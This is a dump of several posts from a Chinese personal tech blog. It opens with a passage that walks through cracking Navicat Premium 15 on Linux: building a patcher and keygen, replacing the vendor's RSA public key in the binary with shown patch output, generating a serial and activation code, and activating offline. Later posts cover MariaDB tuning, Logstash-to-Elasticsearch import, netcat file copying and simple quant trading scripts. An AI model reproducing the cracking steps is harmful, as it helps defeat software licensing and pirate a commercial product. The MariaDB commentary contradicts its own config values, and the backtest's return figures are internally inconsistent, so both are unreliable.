https://gitee.com/andisolo/navicat-keygen.git $ cd navicat-keygen $ make all 生成完成后，你会在 bin/ 文件夹下看到编译后的keygen/patcher。\n4. 使用 navicat-patcher 替换官方公钥。# Usage: navicat-patcher [--dry-run] \u0026lt;Navicat Installation Path\u0026gt; [RSA-2048 Private Key File] [--dry-run] Run patcher without applying any patches. This parameter is optional. \u0026lt;Navicat Installation Path\u0026gt; Path to a directory where Navicat locates This parameter must be specified. [RSA-2048 Private Key File] Path to a PEM-format RSA-2048 private key file. This parameter is optional. 例如：\n$ ./bin/navicat-patcher ~/Desktop/navicat15-premium-en-patched Navicat Premium 15.0.3 Linux 英文版 已经通过测试。\n下面是一份样例输出：\n********************************************************** * Navicat Patcher (Linux) by @DoubleLabyrinth * * Version: 1.0 * ********************************************************** Press ENTER to continue or Ctrl + C to abort. [+] Try to open libcc.so ... Ok! [+] PatchSolution0 ...... Ready to apply RefSegment = 1 MachineCodeRva = 0x0000000001413e10 PatchMarkOffset = +0x00000000029ecf40 [*] Generating new RSA private key, it may take a long time... [*] Your RSA private key: -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEArRsg1+6JZxZNMhGyuM8d+Ue/ky9LSv/XyKh+wppQMS5wx7QE XFcdDgaByNZeLMenh8sgungahWbPo/5jmkDuuHHrVMU748q2JLL1E3nFraPZqoRD ... ... B1Z5AoGBAK8cWMvNYf1pfQ9w6nD4gc3NgRVYLctxFLmkGylqrzs8faoLLBkFq3iI s2vdYwF//wuN2aq8JHldGriyb6xkDjdqiEk+0c98LmyKNmEVt8XghjrZuUrn8dA0 0hfInLdRpaB7b+UeIQavw9yLH0ilijAcMkGzzom7vdqDPizoLpXQ -----END RSA PRIVATE KEY----- [*] Your RSA public key: -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArRsg1+6JZxZNMhGyuM8d +Ue/ky9LSv/XyKh+wppQMS5wx7QEXFcdDgaByNZeLMenh8sgungahWbPo/5jmkDu ... ... GrVJ3o8aDm35EzGymp4ON+A0fdAkweqKV6FqxEJqLWIDRYh+Z01JXUZIrKmnCkgf QQIDAQAB -----END PUBLIC KEY----- ******************************************************* * PatchSolution0 * ******************************************************* [*] Previous: +0x0000000000000070 01 00 00 00 05 00 00 00 ........ +0x0000000000000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +0x0000000000000090 00 00 00 00 00 00 00 00 40 cf 9e 02 00 00 00 00 ........@....... +0x00000000000000a0 40 cf 9e 02 00 00 00 00 00 10 00 00 00 00 00 00 @............... [*] After: +0x0000000000000070 01 00 00 00 05 00 00 00 ........ +0x0000000000000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +0x0000000000000090 00 00 00 00 00 00 00 00 d0 d0 9e 02 00 00 00 00 ................ +0x00000000000000a0 d0 d0 9e 02 00 00 00 00 00 10 00 00 00 00 00 00 ................ [*] Previous: +0x00000000029ecf40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +0x00000000029ecf50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +0x00000000029ecf60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ... ... +0x00000000029ed0c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ [*] After: +0x00000000029ecf40 ef be ad de 4d 49 49 42 49 6a 41 4e 42 67 6b 71 ....MIIBIjANBgkq +0x00000000029ecf50 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 hkiG9w0BAQEFAAOC +0x00000000029ecf60 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 AQ8AMIIBCgKCAQEA ... ... ... +0x00000000029ed0c0 43 6b 67 66 51 51 49 44 41 51 41 42 ad de ef be CkgfQQIDAQAB.... [*] Previous: +0x0000000001413e10 44 0f b6 24 18 48 8b 44 24 28 8b 50 f8 85 d2 79 D..$.H.D$(.P...y +0x0000000001413e20 6f o [*] After: +0x0000000001413e10 45 31 e4 48 8d 05 2a 91 5d 01 90 90 90 90 90 90 E1.H..*.]....... +0x0000000001413e20 90 . [*] New RSA-2048 private key has been saved to /home/doublesine/github.com/navicat-keygen/RegPrivateKey.pem ******************************************************* * PATCH HAS BEEN DONE SUCCESSFULLY! * * HAVE FUN AND ENJOY~ * ******************************************************* 5. 将文件重新打包成AppImage：# 例如：\n$ wget \u0026#39;https://github.com/AppImage/AppImageKit/releases/download/continuous/appimagetool-x86_64.AppImage\u0026#39; $ chmod +x appimagetool-x86_64.AppImage $ ./appimagetool-x86_64.AppImage ~/Desktop/navicat15-premium-en-patched ~/Desktop/navicat15-premium-en-patched.AppImage 6. 运行刚生成的AppImage：# $ chmod +x ~/Desktop/navicat15-premium-en-patched.AppImage $ ~/Desktop/navicat15-premium-en-patched.AppImage 7. 使用 navicat-keygen 来生成 序列号 和 激活码。# Usage: navicat-keygen \u0026lt;--bin|--text\u0026gt; [--adv] \u0026lt;RSA-2048 Private Key File\u0026gt; \u0026lt;--bin|--text\u0026gt; Specify \u0026#34;--bin\u0026#34; to generate \u0026#34;license_file\u0026#34; used by Navicat 11. Specify \u0026#34;--text\u0026#34; to generate base64-encoded activation code. This parameter must be specified. [--adv] Enable advance mode. This parameter is optional. \u0026lt;RSA-2048 Private Key File\u0026gt; A path to an RSA-2048 private key file. This parameter must be specified. 例如：\n$ ./bin/navicat-keygen --text ./RegPrivateKey.pem 你会被要求选择Navicat产品类别、Navicat语言版本和填写主版本号。之后一个随机生成的 序列号 将会给出。\n$ ./bin/navicat-keygen --text ./RegPrivateKey.pem ********************************************************** * Navicat Keygen (Linux) by @DoubleLabyrinth * * Version: 1.0 * ********************************************************** [*] Select Navicat product: 0. DataModeler 1. Premium 2. MySQL 3. PostgreSQL 4. Oracle 5. SQLServer 6. SQLite 7. MariaDB 8. MongoDB 9. ReportViewer (Input index)\u0026gt; 1 [*] Select product language: 0. English 1. Simplified Chinese 2. Traditional Chinese 3. Japanese 4. Polish 5. Spanish 6. French 7. German 8. Korean 9. Russian 10. Portuguese (Input index)\u0026gt; 0 [*] Input major version number: (range: 0 ~ 15, default: 12)\u0026gt; 15 [*] Serial number: NAVM-RTVJ-EO42-IODD [*] Your name: 你可以使用这个 序列号 来暂时激活Navicat。\n之后你会被要求填写 用户名 和 组织名。你可以随意填写，但别太长。\n[*] Your name: DoubleLabyrinth [*] Your organization: DoubleLabyrinth [*] Input request code in Base64: (Double press ENTER to end) 之后你会被要求填写请求码。注意不要关闭keygen。\n8. 断开网络. 找到注册窗口，填写keygen给你的 序列号，然后点击 激活。# 9. 通常在线激活会失败，所以在弹出的提示中选择 手动激活。# 10. 复制 请求码 到keygen，连按两次回车结束。# [*] Input request code in Base64: (Double press ENTER to end) OaGPC3MNjJ/pINbajFzLRkrV2OaSXYLr2tNLDW0fIthPOJQFXr84OOroCY1XN8R2xl2j7epZ182PL6q+BRaSC6hnHev/cZwhq/4LFNcLu0T0D/QUhEEBJl4QzFr8TlFSYI1qhWGLIxkGZggA8vMLMb/sLHYn9QebBigvleP9dNCS4sO82bilFrKFUtq3ch8r7V3mbcbXJCfLhXgrHRvT2FV/s1BFuZzuWZUujxlp37U6Y2PFD8fQgsgBUwrxYbF0XxnXKbCmvtgh2yaB3w9YnQLoDiipKp7io1IxEFMYHCpjmfTGk4WU01mSbdi2OS/wm9pq2Y62xvwawsq1WQJoMg== [*] Request Info: {\u0026#34;K\u0026#34;:\u0026#34;NAVMRTVJEO42IODD\u0026#34;, \u0026#34;DI\u0026#34;:\u0026#34;4A12F84C6A088104D23E\u0026#34;, \u0026#34;P\u0026#34;:\u0026#34;linux\u0026#34;} [*] Response Info: {\u0026#34;K\u0026#34;:\u0026#34;NAVMRTVJEO42IODD\u0026#34;,\u0026#34;DI\u0026#34;:\u0026#34;4A12F84C6A088104D23E\u0026#34;,\u0026#34;N\u0026#34;:\u0026#34;DoubleLabyrinth\u0026#34;,\u0026#34;O\u0026#34;:\u0026#34;DoubleLabyrinth\u0026#34;,\u0026#34;T\u0026#34;:1575543648} [*] Activation Code: i45HIr7T1g69Cm9g3bN1DBpM/Zio8idBw3LOFGXFQjXj0nPfy9yRGuxaUBQkWXSOWa5EAv7S9Z1sljlkZP6cKdfDGYsBb/4N1W5Oj1qogzNtRo5LGwKe9Re3zPY3SO8RXACfpNaKjdjpoOQa9GjQ/igDVH8r1k+Oc7nEnRPZBm0w9aJIM9kS42lbjynVuOJMZIotZbk1NloCodNyRQw3vEEP7kq6bRZsQFp2qF/mr+hIPH8lo/WF3hh+2NivdrzmrKKhPnoqSgSsEttL9a6ueGOP7Io3j2lAFqb9hEj1uC3tPRpYcBpTZX7GAloAENSasFwMdBIdszifDrRW42wzXw== 11. 最终你会得到一个base64编码的 激活码。# 将之复制到 手动激活 的窗口，然后点击 激活。\n如果没有什么意外，应该可以成功激活。\n12. 最后的清理：# 可以将破解的navicat文件放到习惯的文件安装位置，我这里放到了/usr/local/navicate下\n该文件夹下文件结构：\nnavicat15-premium-cs.AppImage //破解后的navicat文件 Navicat.png //navicat图标，见下图 navicat.sh //navicat启动文件内容为：sh ./navicat15-premium-cs.AppImage 根据该文件夹下文件制作桌面启动图标\nsudo gedit /usr/share/applications/navicat.desktop //复制以下内容 [Desktop Entry] Version=15 #版本号 Name=Navicat　#显示的名称 Comment=Back up your data with one click Exec=/usr/local/navicat/navicat15-premium-cs.AppImage　#启动脚本的位置 Icon=/usr/local/navicat/Navicat.png　#图标的位置 Terminal=false Type=Application Categories=Utility;Application; 最后清理过程中产生的文件\n$ rm ~/Desktop/navicat15-premium-en.AppImage $ rm -rf ~/Desktop/navicat15-premium-en-patched $ mv ~/Desktop/navicat15-premium-en-patched.AppImage ~/Desktop/navicat15-premium-en.AppImage 作者： 油饼er\n出处：https://www.cnblogs.com/zj420255586/p/13426201.html\n","date":"2020-10-06T00:00:00Z","permalink":"https://blogs.12ms.xyz/draft/2020-10-06-ubuntu%E4%B8%8B%E5%AE%89%E8%A3%85navicat%E7%A0%B4%E8%A7%A3%E7%89%88/","tags":null,"title":"ubuntu下安装navicat破解版"},{"categories":["折腾笔记"],"contents":"群晖自带的mariadb的性能，非常的差查询万行级别的表就需要大概 3 秒的时间。所以相关的参数是需要进行优化的，这里为了存档就，直接贴一份现在的配置。来作为备份。\n[mysqld] bind-address = 0.0.0.0 socket = /run/mysqld/mysqld10.sock pid-file = /run/mysqld/mysqld10.pid skip-external-locking key_buffer_size = 16M max_allowed_packet = 64M table_open_cache = 4000 table_open_cache_instances = 32 read_buffer_size = 1M read_rnd_buffer_size = 1M net_buffer_length = 8K thread_stack = 512K innodb_data_home_dir = /var/packages/MariaDB10/target/mysql innodb_data_file_path = ibdata1:10M:autoextend innodb_log_group_home_dir = /var/packages/MariaDB10/target/mysql innodb_buffer_pool_size = 512M innodb_log_file_size = 128M innodb_flush_log_at_trx_commit = 0 #innodb_lock_wait_timeout = 50 innodb_file_per_table = 1 synology_password_check = FORCE_PLUS_PERMANENT slow_query_log = OFF query_cache_type = ON query_cache_size = 64M query_cache_limit = 128M #max_heap_table_size = 64M long_query_time = 3 更新 max_allowed_packet：您已经设置为1073741824，这是合适的值，无需更改。\nbind-address：您已将其设置为0.0.0.0，这意味着MySQL将监听所有可用的IP地址。这在大多数情况下是可以接受的。\nkey_buffer_size：您已将其设置为256M，这是合适的值，无需更改。\ntable_open_cache：您已将其设置为2000，这是合适的值，无需更改。但是，您可以尝试将table_open_cache_instances设置为更高的值，例如32，以更好地利用多核处理器。\ninnodb_buffer_pool_size：您已将其设置为1G，这是合适的值，无需更改。\ninnodb_log_file_size：您已将其设置为128M，这是合适的值，无需更改。\ninnodb_flush_log_at_trx_commit：您已将其设置为0，这意味着InnoDB将延迟将日志写入磁盘，可以提高性能。但是，这也会增加数据丢失的风险。如果您对数据的可靠性要求较高，可以将其设置为1。\nslow_query_log：您已将其设置为ON，这是合适的值，无需更改。但是，请确保定期检查慢查询日志并优化查询。\nlong_query_time：您已将其设置为5，这意味着查询执行时间超过5秒将被记录为慢查询。您可以根据应用程序的需求和查询的复杂性来调整此值。\nmax_allowed_packet设置为1GB，这个值比较大，意味着MySQL可以处理比较大的数据包。这对于处理大量的二进制数据（如BLOB或图片）非常有用。 local-infile=1表示MySQL可以使用LOAD DATA LOCAL INFILE命令从本地文件中加载数据。这个选项在某些情况下可能会有安全问题，因为它允许用户向数据库中加载任意文件。如果你不需要使用这个功能，可以将它设置为0。 bind-address=0.0.0.0表示MySQL会绑定到所有可用的IP地址，这样可以让远程客户端连接到MySQL。如果你只需要本地访问MySQL，可以将它设置为127.0.0.1。 key_buffer_size=256M表示使用的MyISAM索引缓存大小。如果你的表使用的是InnoDB引擎，这个选项不起作用。 max_allowed_packet=64M表示MySQL可以处理的最大数据包大小。这个值可以根据你的需要进行调整。 table_open_cache=2000表示在内存中缓存打开表的数量。这个值可以根据你的表数量进行调整。 innodb_buffer_pool_size=1G表示使用的InnoDB缓存池大小。这个值应该根据你的数据量进行调整，一般建议设置为系统内存的70%-80%。 innodb_log_file_size=128M表示InnoDB日志文件的大小。这个值可以根据你的需要进行调整，一般建议设置为1GB左右。 innodb_flush_log_at_trx_commit=0表示InnoDB不会在每次事务提交时强制刷新日志文件，可以提高性能。不过，这也意味着在发生系统崩溃时可能会有数据丢失的风险。如果你需要更高的数据安全性，可以将这个值设置为1。 slow_query_log=ON表示启用慢查询日志，可以帮助你找到执行时间较长的SQL语句进行优化。 long_query_time=5表示查询执行超过5秒钟的语句会被记录到慢查询日志中。你可以根据需要进行调整，一般建议设置为1秒钟左右。 [mysqld] max_allowed_packet = 1073741824 ; local-infile = 1 bind-address = 0.0.0.0 key_buffer_size = 128M max_allowed_packet = 256M table_open_cache = 2000 table_open_cache_instances = 32 read_buffer_size = 1M read_rnd_buffer_size = 1M net_buffer_length = 8K thread_stack = 256K innodb_buffer_pool_size = 2G innodb_log_file_size = 512M innodb_flush_log_at_trx_commit = 1 slow_query_log=ON long_query_time=5 ; innodb_file_per_table = 1 query_cache_type = ON query_cache_size = 64M query_cache_limit = 128M max_heap_table_size = 64M ","date":"2020-09-26T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/07/%E7%BE%A4%E6%99%96%E8%87%AA%E5%B8%A6%E7%9A%84mariadb%E5%8F%82%E6%95%B0%E4%BC%98%E5%8C%96/","tags":["Homelab"],"title":"群晖自带的Mariadb参数优化"},{"categories":["op之路"],"contents":"做一个项目需要实现mysql的数据导入到 es 中去，参考来诸多方案，之前是想着使用，ingest node 来进行 pipeline 的数据处理。但是ingest 不支持 jdbc。无法实现。考虑到数据不需要进行强同步，且数据单向的流动。 所以综上使用 Logstash 这种经典方案来进行数据的导入和清洗。\nPipeline 配置 这里直接给出来 Pipeline 的配置，input里面使用了 dbc 的插件，来配置连接信息的和账号。大体的配置如下：\ninput { jdbc { jdbc_driver_library =\u0026gt; \u0026#34;/home/qspace/logstash-7.3.1/plugin/mysql-connector-java-8.0.17.jar\u0026#34; jdbc_driver_class =\u0026gt; \u0026#34;com.mysql.cj.jdbc.Driver\u0026#34; jdbc_connection_string =\u0026gt; \u0026#34;jdbc:mysql://172.172.66.0:3306/db_sgk\u0026#34; # 你的账户密码 jdbc_user =\u0026gt; \u0026#34;root\u0026#34; jdbc_password =\u0026gt; \u0026#34;password\u0026#34; jdbc_paging_enabled =\u0026gt; \u0026#34;true\u0026#34; jdbc_page_size =\u0026gt; \u0026#34;50000\u0026#34; #jdbc_fetch_size =\u0026gt; \u0026#34;50000\u0026#34; jdbc_default_timezone =\u0026gt; \u0026#34;Asia/Shanghai\u0026#34; statement =\u0026gt; \u0026#34;select * from test order by \u0026lt;some\u0026gt;\u0026#34; schedule =\u0026gt; \u0026#34;* * * * *\u0026#34; } } output { elasticsearch { hosts =\u0026gt; \u0026#34;127.0.0.1:9200\u0026#34; index =\u0026gt; \u0026#34;test\u0026#34; #document_type =\u0026gt; \u0026#34;opinion_type\u0026#34; document_id =\u0026gt; \u0026#34;%{id}\u0026#34; } } 重点 这里对配置文件的几个重点来进行说明，\n查询分页 因为导入表的数据量是非常的大，所以在查询时候需要进行分页。这里有两种方式jdbc_page_size 和 jdbc_fetch_size，前者是分多次查询使用 offset来进行，后者是一次查询之后分批次来导入。 所以 page 的话用于表较大的导入场景，fetch 用于表适中情况下的快速导入。 另外在之前使用的时候，出现导入数据不全的情况，后面差了相关资料，如果使用分页的话，需要使用 order 来进行排序。 logstach: jdbc_page_size doesn\u0026rsquo;t dump all my data to elastic search document_id 这个是ES里面的唯一主键，来进行数据的更新。 为了实现唯一主键有时候hash 比拼字变量拼接优雅。所以这里就使用 filter 段的fingerpoint 的方式来进行唯一id 的表示。可复用配置如下，这样可以来得到一个hid 的值来进行唯一主键的表示\nfingerprint { concatenate_sources =\u0026gt; \u0026#34;true\u0026#34; source =\u0026gt; [\u0026#34;f1\u0026#34;, \u0026#34;f2\u0026#34;] method =\u0026gt; \u0026#34;MD5\u0026#34; target =\u0026gt; \u0026#34;hid\u0026#34; } Fingerprint filter pluginedit\n参考 Mysql数据同步Elasticsearch方案总结 Ingest node ","date":"2020-09-25T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/09/2020-09-25-elasticsearch-%E5%AF%BC%E5%85%A5mysql%E6%95%B0%E6%8D%AE/","tags":["elasticsearch"],"title":"ElasticSearch 导入mysql数据"},{"categories":["op之路"],"contents":"对于已存在索引的索引需要更名的时候的操作。\n由于elasticsearch 不支持直接的索引改名，所以在改名的时候主要进行索引内容的拷贝，之后再删除原索引来实现重命名。\n在控制台执行命令如下：\nPOST /_reindex { \u0026#34;source\u0026#34;: { \u0026#34;index\u0026#34;: \u0026#34;aaa\u0026#34; }, \u0026#34;dest\u0026#34;: { \u0026#34;index\u0026#34;: \u0026#34;bbb\u0026#34; } } DELETE /aaa 参考 elasticsearch - 如何重命名集群中的索引？ ","date":"2020-09-25T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/09/2020-09-25-elasticsearch-%E7%B4%A2%E5%BC%95%E9%87%8D%E5%91%BD%E5%90%8D/","tags":["elasticsearch"],"title":"ElasticSearch 索引重命名"},{"categories":["op之路"],"contents":"我们知道可以是用那个scp命令来在两个系统之间复制文件， 实际上netcat命令也是可以的，使用最简单的方法来传输基本的字节流来实现文件传输的功能。\n先要netcat这个工具，centos下面的话使用yum安装\nyum install nc 接受文件的电脑使用下面命令，开启本地端口来收文件，例如使用1230端口。（需要先切换到你要接收文件的目录）\nnc -l 1230 |tar xf - 发送文件的端 进入到你要发送的文件目录，使用下面命令发送文件，我们假设接收端的ip是 192.168.1.100,端口号是1230\ntar cf - . | nc 192.168.1.100 1230 接收端的防火墙要打开这个监听端口，如果你防火墙开着的话。\n参考地址：https://superuser.com/questions/925268/how-to-netcat-all-the-files-in-my-directory\n","date":"2020-09-20T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/09/2020-09-20-%E4%BD%BF%E7%94%A8netcat%E5%91%BD%E4%BB%A4%E5%9C%A8%E4%B8%A4%E5%8F%B0linux%E7%B3%BB%E7%BB%9F%E4%B9%8B%E9%97%B4%E5%A4%8D%E5%88%B6%E7%9B%AE%E5%BD%95/","tags":null,"title":"使用netcat命令在两台Linux系统之间复制目录"},{"categories":["搞钱"],"contents":"上周使用了掘金的平台来跑起来一个简单的无脑买nasdaq 的协议。 但是掘金本身是一个闭源的平台，在交易品种上面远远不比不上开源平台的vnpy 另外，vn的论坛是很活跃的所以在这里就想对vn的平台来进行探索。 准备实现最简单的交易策略，以及实现vn平台的搬转套利。\n安装配置 这里在 vnpy-github已经有很好的介绍，基本已经做到了傻瓜式安装所以基本没有过多的坑，但是在 ubuntu 下面是有部分的坑。解决完成之后也是能使用的。\n初步了解 关于入门的教程在 vnpy专栏 有了比较详尽的入门内容。\nvn.py快速入门1 - 环境准备 vn.py快速入门3 - 数字货币BITMEX vn.py快速入门6 - 开发第一个量化策略 vn.py快速入门7 - 历史数据回测优化 vn.py快速入门8 - 策略实盘自动交易\n在这里主要是来实现一个数字货币使用的一个量化程序。所以就在这里选取了这么几个章节来进行操作。量化的第一部就是获取历史数据用来进行策略的验证。之后就是来实现交易程序，回测之后再进行实盘。\n数据获取 这里有一点，数据源是使用的bitmex的历史数据源。但是由于其服务是在境外的。所以连接质量不好做保障。需要使用一点科学的方法。来进行数据的访问。 https://www.vnpy.com/docs/cn/cta_backtester.html#id3 vnpy 里面已经实现了 bitmex 的数据拉取的逻辑，可以直接在 CTA回测模块里面来进行策略下载\n交易策略 有了回测用的历史数据之后就就可以，来编写策略了。 这里使用的策略是使用的教程中的例示配置。\nfrom vnpy.app.cta_strategy import ( CtaTemplate, StopOrder, TickData, BarData, TradeData, OrderData, BarGenerator, ArrayManager, ) class DemoStrategy(CtaTemplate): \u0026#34;\u0026#34;\u0026#34;演示用的简单双均线\u0026#34;\u0026#34;\u0026#34; # 策略作者 author = \u0026#34;Smart Trader\u0026#34; # 定义参数 fast_window = 13 slow_window = 39 volume = 1 # 定义变量 fast_ma0 = 0.0 fast_ma1 = 0.0 slow_ma0 = 0.0 slow_ma1 = 0.0 # 添加参数和变量名到对应的列表 parameters = [\u0026#34;fast_window\u0026#34;, \u0026#34;slow_window\u0026#34;,\u0026#34;volume\u0026#34;] variables = [\u0026#34;fast_ma0\u0026#34;, \u0026#34;fast_ma1\u0026#34;, \u0026#34;slow_ma0\u0026#34;, \u0026#34;slow_ma1\u0026#34;] def __init__(self, cta_engine, strategy_name, vt_symbol, setting): super().__init__(cta_engine, strategy_name, vt_symbol, setting) # K线合成器：从Tick合成分钟K线用 self.bg = BarGenerator(self.on_bar) # 时间序列容器：计算技术指标用 self.am = ArrayManager() def on_init(self): \u0026#34;\u0026#34;\u0026#34; 当策略被初始化时调用该函数。 \u0026#34;\u0026#34;\u0026#34; # 输出个日志信息，下同 self.write_log(\u0026#34;策略初始化\u0026#34;) # 加载10天的历史数据用于初始化回放 self.load_bar(10) def on_start(self): \u0026#34;\u0026#34;\u0026#34; 当策略被启动时调用该函数。 \u0026#34;\u0026#34;\u0026#34; self.write_log(\u0026#34;策略启动\u0026#34;) # 通知图形界面更新（策略最新状态） # 不调用该函数则界面不会变化 self.put_event() def on_stop(self): \u0026#34;\u0026#34;\u0026#34; 当策略被停止时调用该函数。 \u0026#34;\u0026#34;\u0026#34; self.write_log(\u0026#34;策略停止\u0026#34;) self.put_event() def on_tick(self, tick: TickData): \u0026#34;\u0026#34;\u0026#34; 通过该函数收到Tick推送。 \u0026#34;\u0026#34;\u0026#34; self.bg.update_tick(tick) def on_bar(self, bar: BarData): \u0026#34;\u0026#34;\u0026#34; 通过该函数收到新的1分钟K线推送。 \u0026#34;\u0026#34;\u0026#34; am = self.am # 更新K线到时间序列容器中 am.update_bar(bar) # 若缓存的K线数量尚不够计算技术指标，则直接返回 if not am.inited: return # 计算快速均线 fast_ma = am.sma(self.fast_window, array=True) self.fast_ma0 = fast_ma[-1] # T时刻数值 self.fast_ma1 = fast_ma[-2] # T-1时刻数值 # 计算慢速均线 slow_ma = am.sma(self.slow_window, array=True) self.slow_ma0 = slow_ma[-1] self.slow_ma1 = slow_ma[-2] # 判断是否金叉 cross_over = (self.fast_ma0 \u0026gt; self.slow_ma0 and self.fast_ma1 \u0026lt; self.slow_ma1) # 判断是否死叉 cross_below = (self.fast_ma0 \u0026lt; self.slow_ma0 and self.fast_ma1 \u0026gt; self.slow_ma1) # 如果发生了金叉 if cross_over: # 为了保证成交，在K线收盘价上加5发出限价单 price = bar.close_price + 5 # 当前无仓位，则直接开多 if self.pos == 0: self.buy(price, self.volume) # 当前持有空头仓位，则先平空，再开多 elif self.pos \u0026lt; 0: self.cover(price, self.volume) self.buy(price, self.volume) # 如果发生了死叉 elif cross_below: price = bar.close_price - 5 # 当前无仓位，则直接开空 if self.pos == 0: self.short(price, self.volume) # 当前持有空头仓位，则先平多，再开空 elif self.pos \u0026gt; 0: self.sell(price, self.volume) self.short(price, self.volume) self.put_event() def on_order(self, order: OrderData): \u0026#34;\u0026#34;\u0026#34; 通过该函数收到委托状态更新推送。 \u0026#34;\u0026#34;\u0026#34; pass def on_trade(self, trade: TradeData): \u0026#34;\u0026#34;\u0026#34; 通过该函数收到成交推送。 \u0026#34;\u0026#34;\u0026#34; # 成交后策略逻辑仓位发生变化，需要通知界面更新。 self.put_event() def on_stop_order(self, stop_order: StopOrder): \u0026#34;\u0026#34;\u0026#34; 通过该函数收到本地停止单推送。 \u0026#34;\u0026#34;\u0026#34; pass ","date":"2020-09-06T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/09/2020-09-06-vnpy-123-%E8%B7%91%E8%B5%B7%E6%9D%A5%E4%B8%80%E4%B8%AA%E6%9C%80%E7%AE%80%E5%8D%95%E7%9A%84%E9%87%8F%E5%8C%96%E4%BA%A4%E6%98%93%E7%9A%84%E7%A8%8B%E5%BC%8F/","tags":["vnpy"],"title":"vnpy 123--跑起来一个最简单的量化交易的程式"},{"categories":["搞钱"],"contents":" 量化交易是指以先进的数学模型替代人为的主观判断，利用计算机技术从庞大的历史数据中海选能带来超额收益的多种“大概率”事件以制定策略，极大地减少了投资者情绪波动的影响，避免在市场极度狂热或悲观的情况下作出非理性的投资决策。\n前面的话 量化交易，又名程序交易。为了防止人的非理性的交易行为，使用代码来进行操作，得到一个有理论方案支撑的收益结果。 如果经过自己的理论和实践的结合，得到一个可以持续获利的策略方式是可能的。\n在大概两周之前开始了vn.py这个一个开源的量化平台，一直想玩玩，但是奈何没有win平台的设备，所以到本周末才正式的去体验了一把。虽然用的不是 vnpy ，出使用的是掘金量化的SDK，但是换汤不换药，跑出了回测的目的。所以在这里记录一下。\n基础补充 看起来高达上的量化交易，实际上跑起来并不难。难点在于策略本书，而不是在于代码。 实际上可以抽象为一个事件触发，处理，再处理的过程。我这里是使用的 python 来实现的第一个能用的量化算法，叫做\u0026lt;无脑纳斯达克\u0026gt;\n官方的python的快速入门手册 https://www.myquant.cn/docs/python/73?\n事件驱动 前面说到，量化交易就是程序交易就是程序来帮我们来交易代码。所以交易的这个动作就需要一个触发。在 这个平台中，触发事件的类型有下面三种：\n定时启动场景 数据事件驱动 时间序列数据事件驱动 第一种很好理解，就是一个周期性的触发事件，比如一周一次等等，这个后面会用到。 第二种，就是通过订阅一个数据源来触发，有一个刷新频率，理解为每一分钟，或者每一秒都来得到某只股票的当前信息 第三种，这里是在第二种的基础上，触发的传入参数内容不再是当前的信息，而是一个时间序列，比如近10个点，等等。\n处理函数 定时处理的话，只需要传入函数名就会定时的去执行。具体的代码:\nschedule(schedule_func=algo, date_rule=\u0026#39;1d\u0026#39;, time_rule=\u0026#39;14:50:00\u0026#39;) 对于后面的两种数据驱动，是有一个系统默认的回调函数，区别在于传入的是当前的bar 还是 某个指标的 content 序列。\ndef on_bar(context, bars): bar = bars[0] print(bar) def on_bar(context, bars): print(context.data(symbol=\u0026#39;SHSE.600000\u0026#39;, frequency=\u0026#39;1d\u0026#39;, count=50, fields=\u0026#39;close,bob\u0026#39;)) Hello world 好了有了前面的知识，这里就可以来写一个简单的策略了，就是我们的《无脑纳斯达克》的策略。我们的目标是每周买入nasdaq的基金。来看看效果怎么样子。 代码如下，就这个简单的代码，就已经实现了每周买入 nasdaq 的功能。\ndef init(context): schedule(schedule_func=algo, date_rule=\u0026#39;1w\u0026#39;, time_rule=\u0026#39;14:50:00\u0026#39;) def algo(context): # nasdaq 的基金 symbol = \u0026#39;SHSE.513100\u0026#39; result = order_value(symbol=symbol, value=1000, side=OrderSide_Buy , order_type=OrderType_Market , position_effect=PositionEffect_Open, price=0) def on_backtest_finished(context, indicator): print(indicator) if __name__ == \u0026#39;__main__\u0026#39;: run(strategy_id=\u0026#39;xxx, filename=\u0026#39;main.py\u0026#39;, mode=MODE_BACKTEST, token=\u0026#39;xxx\u0026#39;, backtest_start_time=\u0026#39;2017-08-21 13:00:00\u0026#39;, backtest_end_time=\u0026#39;2020-08-21 15:00:00\u0026#39;) 最后跑出来结果怎么样子呢？三年一共开仓 153次， 本金是 156428 元，实际收益是 778774，收益率在 49.78%，看起来还是不错的，年化在16.59%\n","date":"2020-08-29T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/08/2020-08-29-%E9%87%8F%E5%8C%96%E4%BA%A4%E6%98%93-123-%E4%BD%BF%E7%94%A8-%E6%8E%98%E9%87%91%E9%87%8F%E5%8C%96%E5%B9%B3%E5%8F%B0-%E6%9D%A5%E8%BF%9B%E8%A1%8C%E4%B8%80%E6%AC%A1%E5%9F%BA%E7%A1%80%E7%9A%84/","tags":null,"title":"量化交易 123 ---- 使用 掘金量化平台 来进行一次基础的回测"},{"categories":["玩点什么"],"contents":"从这篇开始，我的文章需要写的尽可能的明了一些，在给自己带来记录价值的时候。也希望能被更多的人，看到和学习。 通过一步步的实践，来巩固自己的理论基础。也是写这篇文章的初衷。\n基本架构 这里的架构是两层架构。\n公有云上的服务器提供公网的接入 自家的一台服务器提供服务本体 关于两个服务器连接的方式，这里直接使用的是 wireguard 来进行 virtual network的组网的，所以两台主机在 网络层就已经是互通的了。\n技术方案 使用nginx来做反向代理，主要是使用 7层的代理来进行转发。 这里为了实现多域名的转发功能，在dns 使用了泛解析配置\n通过nginx配置来做到对所有的泛解析域名来进行规则转发。\n配置代码 TL;DR 接入主机的 nginx 配置 location ^~ / { auth_basic \u0026#34;Please input password\u0026#34;; auth_basic_user_file /etc/nginx/conf.d/.htpasswd; set $up_addr 10.77.77.4:80; proxy_set_header x-real-ip $remote_addr; proxy_set_header x-forwarded-for $proxy_add_x_forwarded_for; #proxy_set_header x-forwarded-for 